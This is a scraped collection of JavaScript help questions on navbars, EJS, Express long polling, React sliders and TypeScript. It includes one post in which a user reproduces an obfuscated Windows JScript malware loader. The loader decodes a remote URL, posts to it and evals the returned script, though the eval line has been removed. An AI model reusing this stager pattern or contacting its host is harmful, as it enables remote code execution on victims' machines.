Now I understand that this is a loaded question but every time people make videos showing how to do this, they run the project locally. With heroku I’m lost on where im supposed to find a build pack or something to remove the error saying firebase is not a module.
Category: javascript
Category Added in a WPeMatico Campaign
I’m trying to make my navbar fixed when the user scrolls down, but when I scroll down it doesn’t stay
I’m trying to make it so that when the user starts scrolling, the navbar becomes fixed at the top. I’m using vanilla javascript to add my fixed navbar class dynamically on a scroll event, and when I check the devtools the class is being added, but the navbar doesn’t change, so I’m assuming the issue is with my CSS. Any help is appreciated.
const navbar = document.querySelector(".navbar");
// fixed navbar on scroll
window.addEventListener("scroll", () => {
if (window.scrollY > 80) {
navbar.classList.add(".navbar-fixed");
} else {
navbar.classList.remove(".navbar-fixed");
}
});
.navbar-fixed {
position: fixed;
top: 0;
left: 0;
width: 100%;
background: white;
color: black;
z-index: 2;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
}
.nav-container {
display: flex;
align-items: center;
justify-content: space-between;
max-width: 1100px;
margin: 0 auto;
padding: 0 30px;
height: 100%;
}
.nav {
list-style-type: none;
display: flex;
background: transparent;
}
<!-- NAVBAR -->
<div class="bg-img">
<nav id="home" class="navbar">
<div class="nav-container">
<div class="nav-logo">Logo</div>
<ul class="nav">
<li>
<a href="#home">Home</a>
</li>
<li>
<a href="#about">About</a>
</li>
<li>
<a href="#">Events</a>
</li>
</ul>
</div>
</nav>
</div>
<!-- END OF NAVBAR -->
JS Malware Analysis
I know this is not your average post haha
I stumbled upon a malware I downloaded unintentionnaly in a fishy website, in JS that, requested a script from an URL, then runned eval on it.
I tried debugging it and I successfully retrieved the script it was running. It was a a try catch running a shell then checking if antivirus were enabled etc…
The problem is, I could print the injection script in a echo box, but I coudln’t copy it.
So I downloaded Wireshark, rebooted my pc, and to my surprise, the same file that was printing the script to me didn’t print anything.
I didn’t change anything. Just rebooted my pc, and the malware is not retreiving the script anymore.
Here is the malware :
function request(ytwo, czulza) {
return ikycyt.zbahme(ikycyt.zanarihke(ytwo), czulza);
}
function iwhucko(momac) {
WScript.Echo(momac);
// There was an EVAL here. This printed the injection script ONCE, then never again.
}
function kxosytihlzo() {
var covhegop = ['a', '503'];
covhegop.push('262');
return covhegop;
}
function dheny2(cymhyqzusa) {
return new ActiveXObject(cymhyqzusa);
}
var ikycyt = {
ybyj: function (maxfsaxfety) {
var fnyuk = '';
for (var lizbyvuoj = 0; lizbyvuoj < maxfsaxfety['length']; lizbyvuoj++) {
if (lizbyvuoj % 2) {
fnyuk = maxfsaxfety['substr'](lizbyvuoj, 1) + fnyuk;
}
}
return fnyuk;
},
bdebrypdeco: function (hboyj) {
return encodeURIComponent(hboyj);
},
sulocqcy: function (mpiqyb) {
return ikycyt.bdebrypdeco('' + mpiqyb);
},
uhwu: function (ebjpaxny, urmoby) {
if (ebjpaxny[urmoby][0]) {
return ebjpaxny[urmoby][0] + '=' + ikycyt.sulocqcy(ebjpaxny[urmoby][1]) + '&';
}
else {
return urmoby + '=' + ikycyt.sulocqcy(ebjpaxny[urmoby]) + '&';
}
},
zanarihke: function (ytwo) {
var pyqil = '';
for (var noceq = 0; noceq < ytwo['length']; noceq++) {
pyqil += ikycyt.uhwu(ytwo, noceq);
}
return pyqil;
},
zbahme: function (pyqil, bewivzi) {
var uvsrihuz, mneygwu = 'open', zbahme = 'send';
try {
uvsrihuz = dheny2('MSXML2.XMLHTTP');
uvsrihuz[mneygwu]('POST', url2, false);
uvsrihuz[zbahme](pyqil);
WScript.Echo(uvsrihuz.status);
return ikycyt.emlyx4(bewivzi, uvsrihuz);
} catch (e) { }
},
emlyx4: function (pifmsolcy, cafdgy) {
if (pifmsolcy) {
return cafdgy['responseBody'];
}
else {
return cafdgy['responseText'];
}
}
};
var url2 = ikycyt.ybyj('lgxnopn.xlqerxaihpc/umboqcl.cncofintaczejshsredmdochmwbedni.heolzundsenhuclsz.ocr1a3i9eftcb2iak/q/k:qsupdtktlhj');
iwhucko(request(kxosytihlzo()));
iwhucko is the function running eval on the script.
It performs a POST on this adress : https://a2cf931c.schedule.newhomessection.com/pixel.png, and the body is : a=undefined&5=0&2=6
My guess is when downloading the file, the server modifies the file’s request url, so it only works for some time.
Can anyone help me retreive the script again? I really want to see how it’s working.
JS – for each anchor link with specific URL in string, replace anchor link with its text
To give an example of what I want, imagine this string:
$text = 'lorem ipsum <a href="/s/about">About us</a> lorem ipsum';
If this string contains an anchor link that has an href that starts with /, replace the entire anchor link with only its inner text. The result of this function would return the following:
lorem ipsum About us lorem ipsum
I’ve adapted a function I’ve used in the past for this purpose:
function replaceAnyQueriedElementByItsText(markup, selector) {
const doc = (new DOMParser)
.parseFromString(markup, "text/html");
doc
.body
.querySelectorAll(selector)
.forEach(node => node
.parentNode
.replaceChild(
document.createTextNode(node.text),
node,
)
);
return doc.body.innerHTML;
}
The problem with this is that this expects a selector, such as a class. But what I want to select only anchors that have a specific href. How can I accomplish this?
How to send an array from node.js and render it in .ejs file?
This is my first time for using ejs&node.js…
My goal is sending an array and making an imgBox element for each element.
Here is my node.js code
const express = require('express');
const ejs = require('ejs');
const bodyParser = require('body-parser');
const sqlite3 = require('sqlite3');
const sqlite = require('sqlite');
const app = express();
app.set('view engine','ejs');
app.set('views','./views');
app.use(bodyParser.urlencoded({extended:false}));
app.use(bodyParser.json());
app.use(express.static(__dirname+'/public'));
async function getDBConnection(){
const db = await sqlite.open({
filename : 'product.db',
driver: sqlite3.Database
});
return db;
}
app.get('/', async function(req,res){
let db = await getDBConnection();
let rows = await db.all('select * from items');
await db.close();
var output=new Array();
for(var i=0;i<rows.length;i++){
output.push(rows[i]['product_title']);
}
res.render('index',{
test: "ㅇㅇ ",
title: output
});
});
var port = 3000;
app.listen(port,function(){
console.log('server on! http://localhost: '+port);
});
and here is my .ejs code where I want to make elements from an array(in this case, the array named as ‘output’.):
<div id="itemBox">
<% var len = title.length; %>
<% for(let i=0;i<len;i++){ %>
<div id="imgBox"><%=title[i]%></div><br>
<% } %>
</div>
What I wanted is making (len) imgBox elements by array’s elements, but the thing displayed on the screen was only string…
Could you please teach me how to deal with an array in node.js and ejs file?
Thanks.
JSON bundled with JS Unexpected SyntaxError
I have a python script that ingests a .txt file and outputs a JSON file. I use linter to ensure that the format of my JSON file is accurate. After, I run my JSON file through this line in terminal:
browserify -g reactify ./directory.js -o ./bundle.js
Which takes the contents of my JSON file and bundles them with my ‘directory.js’ file and outputs the bundle as ‘bundle.js’.
Bundle.js is kept in my static folder for a node.js server that I run. However, when I run my localhost to see the results of my process I receive the error message:
Uncaught SyntaxError: JSON.parse: expected property name or '}' at line 1 column 2 of the JSON data
But I am not sure why. Every step of my process seems to be accurate. If I change different things in my python file, the error message may update to something like ‘unexpected s found at line…’ or ‘unexpected : found’… I can’t discern where the problem is.
The only thing that I can think is that somehow, when I bundle my JSON with my directory.js, browserify or reactify is altering the JSON somehow
Express not allowing more than one pending request from the same IP?
I’m making a chat application that uses long polling with express (I’m aware websockets are better for this, I just wanted to make something specifically with long polling).
This is the code that the client sends a GET request to when it’s waiting for a new chat message:
app.get('/api',(req,res)=>{
listeners.push(res)
})
It pushes the response objects to an array, and once a new chat message is available it calls .send() on the responses. When the client recieves the response, it sends a GET request again, waiting for new messages.
Here’s the code for when someone sends a message (simplified)
app.post('/api', (req,res)=>{
listeners.forEach(listener=>{
listener.json(req.body)
})
listeners = []
res.status(200).end()
})
I noticed that when I open two tabs of my site, only the 1st tab’s request gets put in the array at first. That makes the 2nd tab not receive the 1st chat message. The 2nd tab’s request only gets pushed into the array after the 1st chat message. So when the second chat message is sent it works fine. This means that the 2nd tab is always one request behind.
Here’s an example in case that wasn’t clear:
Client 1 connects
Client 2 connects
---
Client X sends a message:
Client 1's request 1 receives the message
Client 2's request 1 is still pending
---
Client X sends another message
Client 1's request 2 receives the message
Client 2's request 1 receives the message
---
Client X sends another message
Client 1's request 3 receives the message
Client 2's request 2 receives the message
...
Another thing I noticed is that when I restart the server after client 1 and 2 connect, client 2’s request get pushed into the array after the restart.
Could someone explain this behavior? Thanks in advance.
How to make banner from static to autoplay with react
I have made some pure banner CSS js with react. Right now it’s static not autoplay. How to make my banner autoplay properly and responsive for mobile. Autoplay and smooth transition when going to another banner.
This is the code for working static banner without autoplay things :
import { ArrowLeftOutlined, ArrowRightOutlined } from "@material-ui/icons"
import { useState } from 'react'
import styled from "styled-components"
import {sliderItems} from '../data'
const Container = styled.div`
width: 100%;
height: 80vh;
display: flex;
position: relative;
overflow: hidden;
`
const Arrow = styled.div`
width: 50px;
height: 50px;
background-color: #fff7f7;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
position: absolute;
top: 0;
bottom: 0;
left: ${props=> props.direction === "left" && "10px"};
right: ${props=> props.direction === "right" && "10px"};
margin: auto;
cursor: pointer;
opacity: 0.5;
z-index: 2;
`
const Wrapper = styled.div`
height: 100%;
display: flex;
transition: all 1.5s ease;
transform: translateX(${props=>props.slideIndex * -100}vw);
`
const Slide = styled.div`
width: 100vw;
height: 100vh;
display: flex;
align-items: center;
background: ${props => `url(${props.bg}) no-repeat top center`};
`
const ImgContainer = styled.div`
height: 80%;
flex: 1;
`
const Image = styled.img`
height: 80%;
`
const Image2 = styled.img`
height: 40%;
`
const InfoContainer = styled.div`
flex: 1;
padding: 50px;
`
const Title = styled.h1`
color: white;
font-size: 70px;
`
const Desc = styled.p`
color: white;
margin: 50px 0px;
font-size: 20px;
font-weight: bold;
letter-spacing: 3px;
`
const Button = styled.button`
border: 1px solid white;
padding: 10px;
font-size: 20px;
color: #0070ba;
background-color: white;
border-radius: 25px;
cursor: pointer;
font-weight: 800;
&:hover{
color: white;
background-color: #0070ba;
}
`
const Banner = () => {
const [slideIndex, setSlideIndex] = useState(0)
const handleClick = (direction) => {
if(direction==="left"){
setSlideIndex(slideIndex > 0 ? slideIndex-1 : 6)
} else {
setSlideIndex(slideIndex < 6 ? slideIndex +1 : 0)
}
}
return (
<Container>
<Arrow direction="left" onClick={()=>handleClick("left")}>
<ArrowLeftOutlined />
</Arrow>
<Wrapper slideIndex={slideIndex}>
{sliderItems.map(item=>(
<Slide bg={item.bg}>
<Image2 src={item.img2}/>
<InfoContainer>
<Title>{item.title}</Title>
<Desc>{item.desc}</Desc>
<Button>COBA SEKARANG</Button>
</InfoContainer>
<ImgContainer>
<Image src={item.img}/>
</ImgContainer>
</Slide>
))}
</Wrapper>
<Arrow direction="right" onClick={()=>handleClick("right")}>
<ArrowRightOutlined />
</Arrow>
</Container>
)
}
export default Banner
Thank you guys for helping!
How to Move Parent Property to Child Object JSON
So I am working on building a CRM as a side project using MERN (MongoDB, Express, React, NodeJS). I am trying to work on a feature that shows tasks ordered by their due date for all a users contacts. The data I am trying to work with comes from a MongoDB databse. Here is an example of some data I would be working with. Note: I copied and pasted this straight from my database with changes to names and ids for data privacy reasons
{
"fullName": "John Doe",
"tasks": [
{
"assignedDate": {
"$date": {
"$numberLong": "1654151951692"
}
},
"dueDate": {
"$date": {
"$numberLong": "1654752546000"
}
},
"subject": "Test",
"body": "Test",
"_id": {
"$oid": id
}
},
{
"assignedDate": {
"$date": {
"$numberLong": "1654153169285"
}
},
"dueDate": {
"$date": {
"$numberLong": "1652246119000"
}
},
"subject": "s",
"body": "s",
"_id": {
"$oid": id
}
}]
},
{
"fullName": "Jane Doe",
"tasks": [
{
"assignedDate": {
"$date": {
"$numberLong": "1654144512539"
}
},
"dueDate": {
"$date": {
"$numberLong": "1654277407000"
}
},
"subject": "Test",
"body": "Test Task",
"_id": {
"$oid": id
}
}
]
}
This is the data I plan to fetch from my DB with GraphQL. Each of these objects are specific “contacts” that a user has with “tasks” assigned to them with a due date. What I am trying to do is display a list of upcoming tasks on a users dashboard for all their contacts. Each task will be displayed in a table with the task information and the contact that has that task assigned to them.
For this, I would like to have my data structured similar to something like this
{
"tasks": [
{
"fullName" : "Contact Name"
"assignedDate" : date,
"dueDate" : date,
"subject": "subject",
"body": "body",
"_id": id,
},
{
"fullName" : "Contact Name"
"assignedDate" : date,
"dueDate" : date,
"subject": "subject",
"body": "body",
"_id": id,
}
]
}
I am literally brand new to GraphQL and have no idea where to start to get something like this done. I am not sure if this is something I would need to do on the GraphQL side or the JavaScript side. Any help would be appreciated. A link to some documentation with a possible solution would be a great answer in my book lol.
How to get data from html-table via php
I have html-table and three buttons:
<form action="test.php" method="post">
<table id="table"></table>
<input type="button" id="add" value="Add">
<input type="button" id="delete" value="Delete">
<input type="submit" id="save" value="Save">
</form>
You can see there are no rows in it by default.
In javascript I add rows and cells by clicking the button “Add”. Also I can delete them by clicking the button “Delete”.
When I finish adding rows and cells I click the button “Save”. And by clicking “Save” I want to save the information in txt-file, for example. I know how.
As I am new in php, I am not an IT-guy, I do not want to work with MySQL, ajax, etc.
How is it possible to just take the information for html-table by php.
In test.php I wrote:
<?php
print_r ($_POST);
?>
to check whether I get the information or not. So I do not.
If you ask yourself why someone do not want to work with mysql and want to save the information in txt-file I can answer: it is probably easier for me as there is not so much information I will work with and I will not have to learn how to work with MySQL.
Why I cant create Drawer Navigation in React Native?
This is my App.js:
import React from "react";
import { NavigationContainer } from "@react-navigation/native";
import { createDrawerNavigator } from "@react-navigation/drawer";
import Home from "./screens/Home";
import Login from "./screens/Login";
import Singup from "./screens/Singup";
const Drawer = createDrawerNavigator();
export default function App() {
return (
<NavigationContainer>
<Drawer.Navigator>
<Drawer.Screen name="Home" component={Home}></Drawer.Screen>
<Drawer.Screen name="Login" component={Login}></Drawer.Screen>
<Drawer.Screen name="Singup" component={Singup}></Drawer.Screen>
</Drawer.Navigator>
</NavigationContainer>
);
}
And my code throw this error:
Invariant Violation: “main” has not been registered. This can happen if:
* Metro (the local dev server) is run from the wrong folder. Check if Metro is running, stop it and restart it in the current project.
* A module failed to load due to an error and AppRegistry.registerComponent wasn’t called.
at node_modulesexpobuildenvironmentreact-native-logs.fx.js:27:4 in error
at node_modulesreact-nativeLibrariesCoreExceptionsManager.js:95:4 in reportException
at node_modulesreact-nativeLibrariesCoreExceptionsManager.js:141:19 in handleException
at node_modulesreact-nativeLibrariesCoresetUpErrorHandling.js:24:6 in handleError
at [email protected]:49:36 in ErrorUtils.reportFatalError
at node_modulesreact-nativeLibrariesBatchedBridgeMessageQueue.js:370:8 in __guard
at node_modulesreact-nativeLibrariesBatchedBridgeMessageQueue.js:113:4 in callFunctionReturnFlushedQueue
Add eventListener or timeout to vanilla JS component after rendering?
I’m currently rendering a component in vanilla JS by calling a method attached to a class where the component is defined, and returned.
class ToastNotification {
constructor(paramsObj) {
this.notificationType = paramsObj.notificationType || 'info';
this.notificationAction = paramsObj.notificationAction || 'none';
this.title = paramsObj.title || 'Something happened';
this.message = paramsObj.message || `Here's some more specific information on what happened`;
}
getHtml() {
return `
<div class="toastNotification notification_${this.notificationType} ${this.enableAnimations()}">
<div class="notification_icon">
<ion-icon name="${this.icon}"></ion-icon>
</div>
<div class="notification_text">
<p class="text_title">${this.title}</p>
<p class="text_message">${this.message}</p>
<p class="text_time">${this.timeSinceNotification()}</p>
</div>
<div class="notification_close">
<ion-icon name="close" onclick="this.closest('.toastNotification').remove()"></ion-icon>
</div>
</div>
`;
}
}
But how can I add an event listene or set a timeout to take an action on the component, after I have called the getHTML() method to render the element?
As I would like to be able to set a timeout for the rendered element to dissapear after X amount of time and add an event listener to enable different actions when clicked on. But I am open to alternatives if they can get the same job done.
Typescript when accessing object that doesn’t have such property (possibly not exist)
For example I have this data on JS
const obj = { // never have 'c' property
a: 1,
b: 2,
}
const keys = ['a', 'b', 'c'] // always 'a'|'b'|'c'
const firstKey = keys[0]
const selectedObj = obj?.[firstKey] || 99
Now how to do it in typescript? I have tried it but stucked with such solution
type Keys = 'a' | 'b' | 'c'
type ObjKey = Exclude<Keys, 'c'>
type Obj = Record<ObjKey, number>
const obj: Obj = {
a: 1,
b: 2,
}
const keys: Keys[] = ['a', 'b', 'c']
const firstKey = keys[0] as ObjKey // --> I don't think this is right
const selectedObj = obj?.[firstKey] || 99
I don’t think this is right, because by doing so I remove the possibility of runtime check on firstKey to have value 'c'.
Wonder what is the correct/proper way to fix this ya?
alternative for replace in node js / javascript
I am trying to replace " with " and I tried this code but its not helping me
const str= '<div class="admin">some text for the user here </div>n<p class="admin_notes"> Admin Welcome message </p>';
const replaceTest= str.replace(/\"/g,'"');
console.log(replaceTest);
This replace code work here but when I am writing this same replace code its not working in my code is there alternative to replace all " with " it will be a great help to me thanks in advance
How to resubmit a form with a prevented multi-button using Sweetalert2
I have a table where I retrieve some data from the database and list them, and a form within the table. There are some buttons in this form. Like Cancel.
After clicking the cancel button, I take the cancellation reason and assign it to the hidden input value called reason. The only problem here is assignment to all rows. But this is not an issue on PHP side if POST happens.
Then, I try to submit the form again. But the button is not triggered even though I tried many things. So the post operation is not happening.
When I try to post the form directly (available in the comment line), the PHP side does not work. That is, a post like $_POST[“btn-2”] does not occur.
<?php
//$args = array(1, 2, 3...);
$args = array(1, 2, 3);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<title>Document</title>
</head>
<body>
<table>
<thead>
<tr>Column 1</tr>
<tr>Column 2</tr>
<tr>Column 3</tr>
</thead>
<tbody>
<?php foreach ($args as $key => $value) { ?>
<tr>
<td>A</td>
<td>B</td>
<td>
<form action="" method="post" class="create" id="create">
<input type="hidden" name="reason" class="reason" value =''>
<button type="submit" class="btn-1" id="btn-1">X</button>
<button type="submit" class="btn-2" id="btn-2" >Cancel</button>
<button type="submit" class="btn-3" id="btn-3" >Z</button>
</form>
</td>
</tr>
<?php } ?>
</tbody>
</table>
<script type="text/javascript">
jQuery(document).ready(function($){
jQuery(".create .btn-2").click(function(e) {
var form = jQuery(this);
e.preventDefault();
(async () => {
const inputValue = ''
const { value: reason } = await Swal.fire({
title: 'Reason',
input: 'text',
inputLabel: 'Enter the reason for cancellation',
inputValue:inputValue,
showCancelButton: true,
inputValidator: (value) => {
if (!value) {
return 'You need to write something!'
}
}
})
if (reason) {
jQuery(".reason").val(reason);
jQuery('.btn-2').submit();
//document.getElementById("create").submit(); Not btn-2
//return true;
}
})()//end of async
});
});//end of ready
</script>
</body>
</html>